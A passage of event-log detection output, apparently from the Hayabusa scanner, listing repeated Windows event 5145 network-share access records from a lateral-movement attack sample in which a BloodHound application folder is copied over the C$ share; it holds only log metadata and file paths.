File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.renderers.halo : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.898 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.renderers.linkurious : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.898 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.statistics.HITS : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.908 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\plugins\sigma.statistics.louvain : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.908 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\scripts : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.908 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\src : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.908 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\src\captors : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.918 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\src\classes : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.918 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\src\middlewares : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.918 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\src\misc : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.918 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\src\renderers : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.928 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\linkurious\src\utils : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.928 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\listenercount : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.928 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\listenercount\test : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.928 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\locate-path : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.928 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\lodash : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.968 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\lodash\fp : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.978 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\loose-envify : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.988 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\make-dir : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.988 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\md5-file : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.988 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\minimatch : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.988 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\minimist : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.998 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\minimist\example : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:24.998 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\minimist\test : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.008 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\mkdirp : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.008 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\mkdirp\bin : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.008 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\mkdirp\examples : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.008 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\mkdirp\test : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.018 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\mustache : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.018 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\mustache\bin : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.018 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\mustache\wrappers : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.028 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\mustache\wrappers\dojo : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.028 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\mustache\wrappers\jquery : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.028 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\mustache\wrappers\mootools : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.028 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\mustache\wrappers\qooxdoo : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.038 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\mustache\wrappers\yui3 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.038 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\neo4j-driver : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.038 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\neo4j-driver\examples : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.038 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\neo4j-driver\lib : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.048 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\neo4j-driver\lib\browser : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.048 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\neo4j-driver\lib\v1 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.048 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\neo4j-driver\types : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.048 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\neo4j-driver\types\v1 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.058 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\node-ratify : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.058 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\object-assign : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.058 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\once : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.058 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\pako : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.068 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\pako\dist : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.068 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\pako\lib : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.068 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\pako\lib\utils : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.068 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\pako\lib\zlib : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.078 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\path-exists : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.078 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\path-is-absolute : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.078 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\pify : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.078 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\pkg-up : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.088 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\p-limit : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.088 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\p-locate : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.088 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\printj : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.088 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\printj\bin : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.098 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\printj\dist : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.098 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\printj\types : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.098 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\Desktop\BloodHound-win32-x64\BloodHound-win32-x64\resources\app\node_modules\process-nextick-args : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.098 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: 